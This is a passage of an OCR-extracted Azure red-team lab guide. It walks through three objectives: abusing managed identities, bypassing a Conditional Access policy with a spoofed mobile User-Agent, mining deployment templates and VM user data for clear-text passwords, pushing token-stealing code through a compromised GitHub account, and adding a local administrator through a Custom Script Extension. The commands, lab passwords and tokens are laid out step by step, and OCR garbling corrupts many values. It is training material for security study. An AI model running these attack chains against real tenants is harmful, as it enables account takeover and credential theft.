System.Management.Automation.PSCredential ('studentx', $password)

PS C:\AzAD\Tools> $jumpvm = New-PSSession -ComputerName 51.116.180.87 -
Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType
NoProxyServer)

PS C:\AzAD\Tools> Enter-PSSession -Session $jumpvm

[51.116.180.87]: PS C:\Users\studentx\Documents> whoami

jumpvm\studentx

[51.116.180.87]: PS C:\Users\studentx\Documents> hostname

jumpvm
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Learning Objective 18:

Task

* Abuse the Managed Identity of the 'processfile’ function app to compromise an Enterprise
Application.

* Enumerate the permissions that the Enterprise Application has in defcorphg tenant and abuse
the permissions to extract secrets from a key vault.

* Using the secrets from the key vault, extract credentials of a user from deployment history of one
of the resource groups.

Part of - Kill Chain - 3

Topics covered - Authenticated Enumeration, Privilege Escalation and Data Mining

Solution

In the Learning Objective where we abused the virusscanner app
(https://virusscanner.azurewebsites.net/), we found out that the managed identity for the app has
permissions to add secrets to the enterprise application fileapp. Below is the ClientID that we got for the
app - 62e44426-5c46-4e3c-8a89-f461d5d58612:

Check your Connection!

Provide URL!

; pythan /tmp/fuploads/studentx/studentx.py;

Status: [+] Management API
Tokans e O L QL b bec Qi Sl LIy TS Tng1dCI6 IMSPbzNaRHIPRFhFSZFqS1doWHNSSFIFS1hF]]
|ClientID: 62&44425*5:46*4&3:fBaSSf‘F‘lGldeSSG‘FZI

[+] Graph API
eyJeeXAinilKv1QiLCIub25jZSI6Ikx0TGINMT10TTA@bGMzYkdLYUdvM31GSHOtZW1Y TkdmiwVV3Vzd0TkJoOWeiLCIhbGd
ClientID: 62e44426-5c46-4e3c-8a89-f461d5d586F2

As discussed in the course, managed identities are special service principals. That means, we can

enumerate the service principals in Entra ID and check the service principal that the AppID 62e44426-
5c46-4e3c-8a89-f461d5d586f2 belongs to.

Let's quickly check that using test user's credentials:

PS C:\AzAD\Tools> $passwd = ConvertTo-SecureString
"V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r" -AsPlainText -Force
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PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ("test@defcorphq.onmicrosoft.com",
$passwd)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
test@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-87ce-

fe75a9%941ladb6 AzureCloud

PS C:\AzAD\Tools> $Token = (Get-AzAccessToken -ResourceTypeName
MSGraph) . Token

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

Connected via userprovidedaccesstoken access using 1950a258-227b-4e31-a9cf-
717495945fc2

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message. [snip]
PS C:\AzAD\Tools> Get-MgServicePrincipal -All | ?{$_.AppId -eq "62e44426-
5c46-4e3c-8a89-£f461d5d586£2"} | f1l

AccountEnabled : True

AddIns : {1}

AlternativeNames : {/subscriptions/b413826£f-108d-4049-
8cll-

d52d5d388768/resourcegroups/IT/providers/Microsoft.Web/sites/processfile,
isExplicit=False}

AppDescription

AppDisplayName 5

AppId : 62e44426-5c46-4e3c-8a89-f461d5d586f2

[snip]
ServicePrincipalType : ManagedIdentity

[snip]

So the token we got is actually for the managed identity of the function app processfile.

Note that this will not impact further attacks. We looked at it just to understand that function apps may
be in use behind app services. In fact, that is the most common use case of function aps. In this case, the
processfile function app is processing the fileuploads to the virusscanner app service.
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Recall that we added credentials to the fileapp application in Entra ID. Let's use the credentials now to
authenticate as that service principal. Please remember you may need to change the secret in the
command below to the one that you added earlier:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString ' 1ATfh--
GD.WBhRuP.H3p iR~MX2W1OA6S' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('£072c4a6-b440-40de-983f-
a7£3bd317d8f', $password)

PS C:\AzAD\Tools>

PS C:\AzAD\Tools> Connect-AzAccount -ServicePrincipal -Credential $creds -
Tenant 2d50cb29-5f7b-48a4-87ce-fe75a941ladb6

WARNING: The provided service principal secret will be included in the
'AzureRmContext.json' file found in the user profile (
C:\Users\studentuserx\.Azure ). Please ensure that this directory has
appropriate protections.

Account SubscriptionName TenantId
Environment
f072c4a6-b440-40de-983f-a7£f3bd317d8f DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

Now, list the resources readable by the service principal:

PS C:\AzAD\Tools> Get-AzResource

Name : credvault-fileapp

ResourceGroupName : IT

ResourceType : Microsoft.KeyVault/vaults

Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/IT/providers/Microsoft.KeyVault/vaults/credvault-
fileapp

Sweet! Access to a key vault! Check if we can list and read any secrets!

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName credvault-fileapp

Vault Name : credvault-fileapp
Name : MobileUsersBackup
Version :

Id : https://credvault-

fileapp.vault.azure.net:443/secrets/MobileUsersBackup
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Enabled : True

PS C:\AzAD\Tools> Get-AzKeyVaultSecret -VaultName credvault-fileapp -Name
MobileUsersBackup -AsPlainText

username: DavidDHenriques@defcorphg.onmicrosoft.com ; password:
'QKa%%ya71&*FG2243gs49

Please note that the password may be different in your lab instance.

Let's use the above credentials to authenticate!

PS C:\AzAD\Tools> $password = ConvertTo-SecureString '!@Ka%%ya7l&*FG2243gs49'"
-AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('DavidDHenriques@defcorphq.onmicros
oft.com', $password)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

WARNING: Unable to acquire token for tenant 'organizations'

Connect-AzAccount : UsernamePasswordCredential authentication failed:
AADSTS53003: Access has been blocked by Conditional Access

policies. The access policy does not allow token issuance.

[snip]

A Conditional Access Policy is blocking access for the user David. Let's try using the poral:

« C @ loginmicrosoftonline.com

Microsoft Azure

B Microsoft

daviddhenriques@defcorphg.onmicrosoft.com

You cannot access this right
now

Your sign-in was successful but does not meet the
criteria to access this resource. For example, you
might be signing in from a browser, app, or location
that is restricted by your admin.

Sign out and sign in with a different account

How to bypass this policy? Look at the name of the secret for a hint. Check if the user David is allowed to
login only from Mobile devices. Probably, the condition access policy is based on device platforms.

Device platform is decided by looking at the User-Agent string of the client used to authenticate. Let's
mimic a mobile device.

Press F12 when you get the above message in Chrome and click on toggle device toolbar:
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B® Microsoft

daviddhenriques@defcorpha.onmicrosoft.com
You cannot access this right
now

Your sign-in was successful but does not meet the
criteria to access this resource. For example, you
might be signing in from a browser, app, of location
that is restricted by your admin

Sign out and sign in with a different account

More details

In the device toolbar, change to a mobile device, let's select iPad Pro

iPad Pro v 1024 x 1366 100% ¥ No throttling ¥ @“

C @ portalazure.com 2 4+ B » @

Microsoft Azure P Search resources, services, and docs (G+/) 5] o &£ 9 © E"V'd f.\‘l: lenriqy s &

Azure services

1] ] by " — —
o 11 n —
() 3 & = = -
Resource All resources Azure Active Templates Virtual App Services Storage SQL databases  More services
groups Directory machines accounts

Recent resources

Name Type Last Viewed

(%] stagingEnv Resource group a few seconds ago

Notice that the user David would be unable to access anything! If you go to the 'All resources' option you
won't see anything. Look for 'Resource Groups' and you will find 'StagingEnv' resource group. Even in that
resource group, there would be no visible resources.
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[s) StagingEnv 2 X

Resource group

‘}3 Search (Ctrl+/) ‘ « -+ Add == Editcolumns [l Delete resource group () Refresh = Open query
(4] overview A\ Essentials
B Activity log Subscription (change) Deployments
DefCorp 1 Failed
FR Access control (IAM) Subscription ID Location
b413826f-108d-4049-8¢11-d52d5d388768 Germany West Central
L 4 Tags
Tags (change)
Events
Click here to add tags
Setti -
ettings | Filter for any field... ‘ Type ==all X Location == all X +V Add filter
& Deployments
Showing 0 to 0 of 0 records D Show hidden types (O No grouping ~ ‘ ‘ List view “
@ security
5 policies Name Type Ty Location T,
35 Properties
B Locks
Cost Management

. Cost analysis

No resources to display

Kl Cost alerts (preview)

What now? Go the Deployments blade under Settings:

) [ ] oeployment name Status Last modified Duration Related events
R Access control (IAM)
@ Tags [[] DavidoHenriques ft.com.sta O Failed (Error details 3/15/2021, 12:53:02 AM 5 minut Rel
Events
Sertings

&y Deployments

Look at the deployment template (you can download it too) and you will find that the template is trying
to execute a command during demployemnt of a VM and that contains a clear-text password!

C @ portalazure.com S % B % @ nomine

DavidDHenriques@defc... @&

Microsoft Azure O Search resources, services, and docs (G+/) DEFENSE CORFORATION (DEFCO

Home > StagingEnv > DavidDHenriques_defcorpha onmicrosoft com stagingeny
DavidDHenriques_defcorphg.onmicrosoft.com.stagingenv | Template X
Yeployment

Search (Ctrl+/) « L Download [E] Add to library (preview) | Deploy

" [i Jt ite deploying resources with Azure Resource Manager templates in a single, coordinated operation. Define resources and configurable input parameters and deplay with script or code. Leam
% Inputs d ment
Outputs
B include parameters
Y Template

Template  Parameters  Scripts

17e

> 4 parame 171
> [2) variable 172
173
i Resources (4) N "
Resources ( 174 Microsoft.Compute®,
.y Variables{vnetName') 175 omScriptExtension”,
MicrosoftNet virtusINetwork 176 n* N
VMNic01 177
@, "
Microsoft Network/networkinterfz 178
StagingEnvil 1 L 5 -
>R = . . 18¢ commandToExecute”: “$username = \"thomasebarlow@defcorpit.onmicrosoft.com\";
{Microsoft.Compute/virtualMachin . N "
$passwol a8vWFE\ " $securePassword = ConvertTo-Securestring \"$password\” -AsPlainText -Force;
o YMIPOT $credentials = System.Management . Automation.PSCredential($username, $SecurePassword);Login-AzAccount

Microsoft Network/publiciPAddre Ccedential Scredentiale:Get tnureanTensntnetsil®

Sweet! We got the credentials for a user that belongs to another tenant -
thomasebarlow@defcorpit.onmicrosoft.com with the password %%”"Da@asyu0(@ *&48VVf6

Please note that the password may be different in your lab instance.
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Learning Objective 19:

Task
e Using the secrets from the application backup found in the 'defcorpcodebackup' storage account,

make changes to a GitHub account to push changes to a Function App.

* Abuse the managed identity of the function app to extract credentials for a user from deployment
history.

e Extract a SSH key for a GitHub account from the 'codebackup' storage account.

* Use the SSH key to access the GitHub account, modify code and trigger a function app that uses
the modified code.

Part of - Kill Chain - 4
Topics covered - Authenticated Enumeration, Privilege Escalation and Data Mining

Solution
Recall that we extract app.zip from one of the storage accounts. One of the files contained GitHub

credentials for two users — jenniferazad and laurenazad.

However, both the users have two factor authentication enabled.

O

Two-factor authentication

Authentication code What's this?

6-digit code

[1) Open the two-factor authentication app on
your device to view your authentication code
and verify your identity.
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Using authenticator.txt that contains backup of a GitHub's Time-based OTP (TOTP) app for laurenazad!
Import it into Chrome's Google Authenticator extension

O Authenticator — 4

Show all entries

GitHub

423539

laurenazad '

We would be able to access laurenazad's GitHub!
Go to the SimpleApps repository - https://github.com/DefCorp/SimpleApps

The README of the repository tells us that —' This repo is a part of the CI/CD pipeline used for testing
various function app features.' and it contains URL of a function app -
https://simpleapps.azurewebsites.net/api/Student<enterid>

Check __iniy.py__in the directory for your student ID -
https://github.com/DefCorp/SimpleApps/blob/main/Studentx/__init__.py

return func.HttpResponse(

"This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response.”,

status_code=200

Use your student ID in the URL in the README and browse to it using Chrome:
https://simpleapps.azurewebsites.net/api/studentx

(& @& simpleapps.azurewebsites.net/api/student’

This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response.

This indicates that changes made to __init.py__ in this repo are used for continous development for the
function app 'SimpleApps'!

Editthe __init.py__ inyour studentx directory in the repo and paste the following code that gets an access
token if there is a managed identity used by the function app. Recall that this is the code that we got from
app.zip from the defcorpbackup storage account:
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import logging, os
import azure.functions as func

def main(reqg: func.HttpRequest) -> func.HttpResponse:
logging.info ('Python HTTP trigger function processed a request.')
IDENTITY ENDPOINT = os.environ['IDENTITY ENDPOINT']
IDENTITY HEADER = os.environ['IDENTITY HEADER']
cmd = 'curl "$s?resource=https://management.azure.com&api-
version=2017-09-01" -H secret:%s' % (IDENTITY ENDPOINT,
IDENTITY HEADER)
val = os.popen(cmd) .read()
return func.HttpResponse (val, status code=200)

Commit the changes! Now wait for a couple of minutes and deploy the changes to the function app by
browsing to https://simpleapps.azurewebsites.net/api/studentx

You will get the access token of the managed identity:

urewebsites.net

{"access_token":"eyJl@eXAi0iJKV1QiLCIhbGeci0ilSUzI1NiIsIng1dCI6Im5PbzNaRHIPRFhFSzFqS1doWHNSSFIFS1hFZyIsImtpZCI6Im5PbzNaRHIPRFhFSzFS1doWHNSSFIFS1hFZyJ9. eylhdwWQioilodHRwezo
vL21hbmFnZW11bnQuYXplcmUuY29tIiwiaXNzIjoiaHROCHMELY9zdHMUd21uZGI3cySUZXQvMMQIMGNIMIktNWY3YiPB0GERLTg3Y 2UtZmU3NWESNDFhZGI2Ly I sImlhdCISMTYxOTAYNDk1MiwibmImIjoxNJESMDISOTUY
LCI1eHALIOJE2MTkXMTEZNTISIMFpby I6IkUyWmdZR204NUISATN2ay9mRmYzbzVrSHd@cD1BUT@S TiniYXBwaWQiOi ISNWYeMGV1YSe2NUzLTRIMTETY JUBNS LkOWMyZjVmOTBhMikiLCTheHBpZGF jciI6IFIiLCIpZHALC
iJodHRwezovL3NOcy53al5kb3dzLm51dC8yZDUWY2Iy0Se1ZjdilTQAYTQLODdFZSImZT 1Y TKOMWFKY YvIiwib21kIjoiZTY1YjcSMTItNWI3ZSOOZGNILWEZMMQTMDF jN2QEeNzkzMDF1TiwicmgiOiIwLkFYQUFLY3RRTF
heZnBFaUh6djUxcVWHAHR1bOBSS1ZUWMhGT3RVIVFp3d1g1Q21sdoFBQS41LCI zdWIL01IINViNZkxMiO1YFAILTRKY2ILY TMYZCOWMWM3ZDQ30TMWMNULLC 10aWQi0ilyZDUWY2Iy0Se1Z dil TQ4YTQtODdJZSImZTe1Y Tk
OMWFkYJYiLCI1dGki0iIKWVIIbE91clpFeWVSNEg2VOxRQkFBIiwidmVyIjoiMS4wliwieGlzX21pemlkIjoil3N1YnNjcmlwdGlvbnMyY JQxMzgyNmYtMTA4ZCOOMDQSLThMTEtZDUyZDVvkMzgaNzY4L3]1c291emN1Z3]y
dXBzLeZpbmFuY2UvcHIvdmlkZXIzLe1pY3Ive29mdC5XZWIve218ZXMvU21tcGx1QXBweyIsInhtc198Y2ROIjoxNJEIMzcINFISFQ. iLs]-5pPI_jhFfUMMXDXvIIOTFrw-

s jOmLgBakIutkPoSLIMBZELhPLTpYVh2TYKLONMHOOS@aS TH_HAZ 181uMohK idYbMyBGgaPdOBF z_49G] - _scMEFECITNBGMVPQrnEUUQS-9YmuifqIQgDoPz_tPImPkFFH191UKIVEKPEFURK 2y KhEnXLS7SUKBeWum-
NaAxAZUQIEiZOqDIF1wSMLsgERUIKShTWED LoXLUrovlIKq29kolKvNTgk_TNuapnHNAZzBRSki3HGipI4sQPN1b43a3AYL8e8ILp8Ofgy tFnDF4dILSLNSdYpaDM-L -

Gwux5GtTIpYdjVzKFg", "expires_on":"84/22/2021 17:14:11 +80:8@","resource”: "https://management.azure.com", “token_type":"Bearer”,"client_id":"95f4@eea-6653-4e11-b545-
d9c2f5f98329"}

Use the above access token to authenticate and check for access to any resource group:

PS C:\AzAD\Tools> $accesstoken = 'eyJo..'
PS C:\AzAD\Tools> Connect-AzAccount -AccessToken $AccessToken -AccountId
95f40eea-6653-4el11-b545-d9¢c2£f5£90a29

Account SubscriptionName TenantId
Environment
95f40eea-6653-4el11-b545-d9c2£f5£90a29 DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

PS C:\AzAD\Tools> Get-AzResourceGroup

ResourceGroupName : SAP

Location : germanywestcentral

ProvisioningState : Succeeded

Tags 3

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/SAP
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Check if the managed identity can read any deployment from the resource group:

PS C:\AzAD\Tools> Get-AzResourceGroupDeployment -ResourceGroupName SAP

DeploymentName : stevencking defcorphg.onmicrosoft.com.sapsrv
ResourceGroupName : SAP
ProvisioningState : Failed
Timestamp : 3/15/2021 3:09:51 PM
Mode : Incremental
TemplateLink
Parameters
Name Type Value
vmName String SAPSrv
vmAdminUserName String sapadmin
vmAdminPassword SecureString
vmSize String Standard Bls
vmOSVersion String 2019-
Datacenter
vmOsSkuVersion String latest
dnsLabelPrefix String sapsrv0l
Outputs

DeploymentDebugLogLevel : None

Nice! Save the deployment template locally. Run the below command:

PS C:\AzAD\Tools> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName
SAP -DeploymentName stevencking defcorphq.onmicrosoft.com.sapsrv

Path

C:\AzAD\Tools\stevencking defcorphq.onmicrosoft.com.sapsrv.json

On checking the deployment template, we will find out that clear-text credentials of a user are present in
the template!

Use the below command to quickly locate the credentials:

PS C:\AzAD\Tools> (cat

C:\AzAD\Tools\stevencking defcorphq.onmicrosoft.com.sapsrv.json |ConvertFrom-
Json |select -ExpandProperty

Resources) .resources.Properties.Settings.CommandToExecute

Susername =
"stevencking@defcorphg.onmicrosoft.com"; Spassword="Q@@#" (YanuGFASF569*8" ; $Secu
rePassword = ConvertTo-SecureString "S$password" -AsPlainText -
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Force; $Scredentials = New-Object
System.Management .Automation.PSCredential (Susername, S$SecurePassword);Login-
AzAccount -Credential S$credentials;Get-AzureADTenantDetail

Please note that the password may be different in your lab instance.
Sweet! We got the credentials for the user stevencking@defcorphg.onmicrosoft.com!

Diconnect from the existing authentication as the managed identity and connect as the user Steven and
check if the user has access to any Azure resource:

PS C:\AzAD\Tools> Disconnect-AzAccount

[snip]

PS C:\AzAD\Tools> $password = ConvertTo-SecureString '@@#”" (YanuGFASF569*8' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('stevencking@defcorphq.onmicrosoft.
com', $Password)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
stevencking@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-

87ce-fe75a941ladb6 AzureCloud

PS C:\AzAD\Tools> Get-AzResource

Name : defcorpcodebackup

ResourceGroupName : Finance

ResourceType : Microsoft.Storage/storagelAccounts
Location : germanywestcentral

Resourceld : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Finance/providers/Microsoft.Storage/storageAccoun
ts/defcorpcodebackup
Tags S

So, the user Steven, has access to the defcorpcodebackup storage account. Check if there is a container
that the user has access to:

PS C:\AzAD\Tools> Get-AzStorageContainer -Context (New-AzStorageContext -
StorageAccountName defcorpcodebackup)
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Storage Account Name: defcorpcodebackup

Name PublicAccess LastModified
IsDeleted VersionId

client 3/15/2021 2:18:05 PM +00:00
secrets 3/15/2021 2:50:31 PM +00:00

Looks like we do have access to a new storage container called ‘secrets’.

For ease of access, let's use the Azure portal and check if we can access the ‘secrets’ container using
Steven's credentials! Once connected, we could see that there is a container in the defcorpcodebackup
that Steven can access!

Home > Storage accounts > defcorpcodebackup

defcorpcodebackup | Containers = # - x
= Storage account
O Search o3 ¢ -+ Container . O Refresh
fa Access Control (1AM) Search containers by prefix

W Data migration

) Show deleted containers

Events
BS Storage browser Name Last modified Anonymous access |... Lease state
& Storage Mover D client 3/15/2021, 7:18:05 AM  Private Available
=¥ partner solutions [ secrets 3/15/2021, 7:50:31 AM Private Avallable

> Data storage

Home > Storage accounts > defcorpcodebackup | Containers

= secrets
Container
5« T Uplosd B Change accesslevel () Refresh
7 Overview Authentication method: Microsoft Entra user account (Switch to Access key)

Location: secrets
£ Diagnose and solve problems

%3\ A Control (1AM) Search blobs by prefix (case-sensitive)
(ccess Control (|
(@ ) Show deleted blobs

> Settings
Name Modified Access tier
j Y id_rsa 8/9/2024, 2:29:44 AM  Hot (Inferred)
j =) README.md 4/8/2021, 12:08:35 AM  Hot (Inferred)

Download both the id_rsa and the README.md. The README tells us that id_rsa is 'SSH private key for

jenniferazad'! jenniferazad is the GitHub account whose secrets we extracted earlier but it has 2FA
enabled.

Let's use the private key to access jenniferazad's account on GitHub. Start a cmd.exe with administrative
privileges (Run as administrator) and copy the id_rsa to the .ssh directory for your studentuserx:

C:\Windows\system32>mkdir C:\Users\studentuserx\.ssh
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C:\Windows\system32>copy C:\AzAD\Tools\id rsa

C:\Users\studentuserx\.ssh\id rsa
1 file(s) copied.

C:\Windows\system32>cd C:\AzAD\Tools

Use the private key to connect to GitHub.

For the passphrase, in the following command, we use jenniferazad's password - j3n!F3juF! b@p9! - as
passphrase. A classic password re-use scenario ;) Please note that the password may be different in your
lab instance.

C:\AzAD\Tools>ssh -T git@github.com

The authenticity of host 'github.com (140.82.121.4)"' can't be established.
RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLViKwOES5SYS8.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added 'github.com,140.82.121.4' (RSA) to the list of
known hosts.

Enter passphrase for key 'C:\Users\studentuserx/.ssh/id rsa':

Hi jenniferazad! You've successfully authenticated, but GitHub does not
provide shell access.

Next, clone the CreateUsers GitHub repository! We know that jenniferazuread have the rights to modify
the CreateUsers repo by looking at the commit history!

C:\AzAD\Tools>git clone git@Rgithub.com:DefCorp/CreateUsers.git
Cloning into 'CreateUsers'...

Enter passphrase for key '/c/Users/studentuserx/.ssh/id rsa':
remote: Enumerating objects: 20, done.

remote: Counting objects: 100% (20/20), done.

remote: Compressing objects: 100% (11/11), done.

remote: Total 20 (delta 6), reused 19 (delta 5), pack-reused 0
Receiving objects: 100% (20/20), done.

Resolving deltas: 100% (6/6), done.

The README of this repo mentions that it can be used for creating users in DefCorphq tenant for
accessing Enterprise Applications. There is an example 'user.json' file in the Example directory. The
README also points to a function app URL to create the users -
https://createusersapp.azurewebsites.net/api/CreateUsersApp?id=

Let’s use that file! Go to the CreateUsers directory, create a directory for your student ID and copy the
user.json file to your studentx directory.

AlteredSecurity.com Azure Attacks for Red and Blue Teams 107



C:\AzAD\Tools>cd CreateUsers
C:\AzAD\Tools\CreateUsers>mkdir studentx

C:\AzAD\Tools\CreateUsers>copy C:\AzAD\Tools\CreateUsers\Example\user.json
C:\AzAD\Tools\CreateUsers\studentx\user. json
1 file(s) copied.

Edit the user.json file in your studentx directory to add details:

C:\AzAD\Tools\CreateUsers>cd studentx

C:\AzAD\Tools\CreateUsers\studentX>notepad user.json

This is how user.json looks like for studentx. Make sure to replace with your student ID:

{

"accountEnabled": true,

"displayName": "studentx",

"mailNickname": "studentx",

"userPrincipalName": "studentX@defcorphg.onmicrosoft.com",

"passwordProfile" : {
"forceChangePasswordNextSignIn": false,

"password": "StudXPassword@l23"

Finally, commit the changes to the CreateUsers repo using the following commands:

C:\AzAD\Tools\CreateUsers\studentx>git add

C:\AzAD\Tools\CreateUsers\studentx>git config --global user.email
"81172144+jenniferazadfusers.noreply.github.com"

C:\AzAD\Tools\CreateUsers\studentx>git config --global user.name
"jenniferazad"

C:\AzAD\Tools\CreateUsers\studentx>git commit -m "Update"
[main 47b03ec] Update
1 file changed, 10 insertions (+)

create mode 100644 studentX/user.json

C:\AzAD\Tools\CreateUsers\studentx>
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C:\AzAD\Tools\CreateUsers\studentx>git push

Enter passphrase for key '/c/Users/studentuserx/.ssh/id rsa':
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 3 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (4/4), 540 bytes | 540.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
To github.com:DefCorp/CreateUsers.git
0c51lae9..47b03ec main -> main

Browse to the function app URL to trigger the continuous deployment! Remember to use your ID
number (and not the complete student ID) -
https://createusersapp.azurewebsites.net/api/CreateUsersApp?id=x

& @ createusersapp.azurewebsites.net

User studenti@defcorphq.onmicrosoft.com created and added to a group!

Now, we can use the credentials of the user we created above to enumerate Entra ID! But let's save it
for later!
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Learning Objective 20:

Task
* Using the access to jumpvm VM, extract secrets for samcgray@defcorphg.onmicrosoft.com from
user data.

*  Abuse Custom Script Extension on infradminsrv VM to execute code on it.
Part of - Kill Chain - 2
Topics covered - Authenticated Enumeration, Data Mining and Lateral Movement

Solution
We added a local user to jumpvm! Let's access the VM using PSRemoting:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'StudxPassword@1l23' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('studentx', $password)

PS C:\AzAD\Tools> $jumpvm = New-PSSession -ComputerName 51.116.180.87 -
Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType
NoProxyServer)

PS C:\AzAD\Tools> Enter-PSSession -Session $jumpvm

[51.116.180.87]: PS C:\Users\studentx\Documents>

Check if there is any user data used by jumpvm and extract it. Run the below from PSRemoting session to
jumpvm:

[51.116.180.87]: PS C:\Users\studentx\Documents> $userData = Invoke-
RestMethod -Headers @{"Metadata'"="true"} -Method GET -Uri
"http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-
0l1-0l&format=text"

[51.116.180.87]: PS C:\Users\studentx\Documents>
[System.Text.Encoding] : :UTF8.GetString ([Convert] : :FromBase64String ($SuserData)
)

$Password = ConvertTo-SecureString '$7cur7gr@yQamu5913Q092' -AsPlainText -
Force

$SCred = New-Object

System.Management.Automation.PSCredential ('samcgray@defcorphqg.onmicrosoft.com
', S$Password)

Connect-AzAccount -Credential $Cred

Get-AzRoleAssignment —-Scope /subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachi
nes/infradminsrv

[51.116.180.87]: PS C:\Users\studentx\Documents> exit
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Sweet! We will now use user Sam's credentials for further enumeration:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString '$7cur7grlQyQamu5913@092"'
-AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('samcgrayl@defcorphg.onmicrosoft.com
', $password)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
samcgray@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-87ce-

fe75a941ladb6 AzureCloud

PS C:\AzAD\Tools> Get-AzResource

Name : infradminsrv/MicrosoftMonitoringAgent
ResourceGroupName : RESEARCH

ResourceType : Microsoft.Compute/virtualMachines/extensions
Location : germanywestcentral

ResourceId : /subscriptions/b413826£f-108d-4049-8cll-

d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachi
nes/infradminsrv/extensions/MicrosoftMonitoringAgent
Tags

Let's check permissions for Sam on infradminsrv

PS C:\AzAD\Tools> Get-AzRoleAssignment -SignInName
samcgray@defcorphq.onmicrosoft.com

Above would not return anything. Let's use ARM API call for listing permissions.

$Token (Get-AzAccessToken) .Token

$URI "https://management.azure.com/subscriptions/b413826f-108d-4049-
8cll-
d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtua
TMachines/infradminsrv/providers/Microsoft.Authorization/permissions?ap
i-version=2015-07-01"

$RequestParams = @{

Method "GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
b
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(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> (Get-AzAccessToken) .Token
eyJ0eX. .

PS C:\AzAD\Tools> SToken = (Get-AzAccessToken) .Token

PS C:\AzAD\Tools> SURI =
'https://management.azure.com/subscriptions/b413826f-108d-4049-8cll1-
d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachi
nes/infradminsrv/providers/Microsoft.Authorization/permissions?api-
version=2015-07-01"

PS C:\AzAD\Tools> S$SRequestParams = Q@{

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer S$Token"
>> }

>> )

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

actions
notActions

{Microsoft.Compute/virtualMachines/extensions/write,
Microsoft.Compute/virtualMachines/extensions/read} {}

So the user Sam has both read and write permissions for extensions on infradminsrv. Let's check if any
extensions is already installed:

PS C:\AzAD\Tools> Get-AzVMExtension -ResourceGroupName "Research" -VMName
"infradminsrv"

ResourceGroupName : Research

VMName : infradminsrv

Name : MicrosoftMonitoringAgent

Location : germanywestcentral

Etag : null

Publisher : Microsoft.EnterpriseCloud.Monitoring
ExtensionType : MicrosoftMonitoringAgent
TypeHandlerVersion : 1.0

Id : /subscriptions/b413826f-108d-4049-8cll-

d52d5d388768/resourceGroups/Research/prov1ders/Mlcrosoft Compute/virtualMachi
nes/infradminsrv/extensions/M

icrosoftMonitoringAgent
PublicSettings HER
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"workspaceId": "dc76733a-c075-4428-ab7c-
e4835656672e"

[snip]

Let's create a custom script extension that adds a local administrator to the VM. Note that we are not
considering endpoint OpSec here.

Please note that you will be unable to create new extension but can modify the "commandToExecute" to
add your own local user:

PS C:\AzAD\Tools> Set-AzVMExtension -ResourceGroupName "Research" -
ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West
Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -
TypeHandlerVersion 1.8 -SettingString '{'"commandToExecute'":'"powershell net
users studentx StudxPassword@123 /add /Y; net localgroup administrators
studentx /add"}'

RequestId IsSuccessStatusCode StatusCode ReasonPhrase

Use PSRemoting to connect to jumpvm and from the remoting session to infradminsrv:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'StudxPassword@123' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('studentx', S$password)

PS C:\AzAD\Tools> $jumpvm = New-PSSession -ComputerName 51.116.180.87 -
Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType
NoProxyServer)

